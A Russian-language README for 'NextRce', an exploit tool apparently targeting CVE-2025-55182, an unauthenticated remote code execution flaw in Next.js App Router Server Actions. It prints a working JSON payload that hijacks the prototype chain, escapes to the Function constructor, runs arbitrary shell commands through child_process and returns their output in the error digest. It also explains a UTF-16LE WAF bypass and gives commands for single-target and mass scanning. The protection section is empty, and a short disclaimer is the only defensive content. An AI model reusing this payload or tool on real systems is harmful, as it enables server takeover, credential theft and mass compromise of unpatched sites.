Эксплойт-доказательство концепции для CVE-2025-55182, демонстрирующий неаутентифицированное RCE в маршрутизаторе приложений Next.js через внедрение объекта на стороне сервера в React Server Components, с обходом WAF с помощью UTF-16LE.
NextRce — это инструмент для исследования безопасности, демонстрирующий CVE-2025-55182, критическую уязвимость в приложениях Next.js App Router, использующих React Server Components (RSC) и Server Actions.
Эта уязвимость позволяет злоумышленнику достичь неаутентифицированного удаленного выполнения кода (RCE) путем злоупотребления тем, как Next.js обрабатывает ответы Server Actions и разрешает сериализованные полезные нагрузки RSC на сервере.
CVE-2025-55182 существует в архитектуре Next.js App Router и может быть классифицирована как проблема инъекции объектов на стороне сервера / злоупотребления цепочкой прототипов, возникающая при обработке запросов multipart/form-data.
Когда Server Action запускается, сервер Next.js доверяет и десериализует структурированный ввод клиента. Отправив специально созданную полезную нагрузку, злоумышленник может манипулировать внутренней логикой разрешения и выполнять произвольные системные команды в среде выполнения Node.js.
Уязвимость возникает из-за следующих комбинированных факторов:
Модель доверия Server Actions
Server Actions принимают структурированные полезные нагрузки от клиента, которые обрабатываются через внутреннюю логику разрешения React Server Components с недостаточной проверкой.
Инъекция объектов при разрешении RSC
Созданные полезные нагрузки могут злоупотреблять цепочками прототипов JavaScript и ссылками на конструкторы, что позволяет выйти за пределы предполагаемой области объектов.
Недостаточная санитизация
Внутренние поля, такие как then, _response и геттеры form-data, недостаточно защищены от вредоносных манипуляций.
Обход WAF через кодировку
Многие Web Application Firewalls ориентируются на UTF-8 или стандартный JSON. Кодирование полезных нагрузок как UTF-16LE позволяет обойти проверку, в то время как сервер Next.js декодирует и обрабатывает их корректно.
Эксплойт основан на внедрении специально созданной полезной нагрузки RSC в multipart-запрос.
Упрощенная версия полезной нагрузки показана ниже:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. Угон цепочки прототипов
"then": "$1:__proto__:then"then, что влияет на то, как разрешаются Promise во время обработки React Server Components в среде выполнения Next.js.2. Побег через конструктор
"_formData": { "get": "$1:constructor:constructor" }Function, позволяя выполнять произвольный JavaScript за пределами предполагаемой песочницы.3. Удаленное выполнение кода
process.mainModule .require('child_process') .execSync('{cmd}')4. Эксфильтрация вывода через digest
throw Object.assign(new Error('x'), { digest: res });5. Обход WAF (UTF-16LE)
Content-Type: text/plain; charset=utf-16leУспешная эксплуатация CVE-2025-55182 может привести к:
🔥 Полному удаленному выполнению кода
🗄️ Доступу к конфиденциальным данным и учетным данным
🔗 Горизонтальному перемещению внутри инфраструктуры
📦 Компрометации цепочки поставок
🚨 Полному захвату сервера
Серьезность: Критическая
Требуется аутентификация: Нет
Для защиты от CVE-2025-55182:
Одиночная цель
python3 exploit.py -u https://target.com -c "whoami"Массовое сканирование с обходом WAF
python3 exploit.py -l urls.txt -B -t 50Этот проект предоставляется строго для образовательных, исследовательских целей и авторизованного тестирования безопасности.
НЕ используйте этот инструмент против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.
Автор не несет ответственности за неправомерное использование.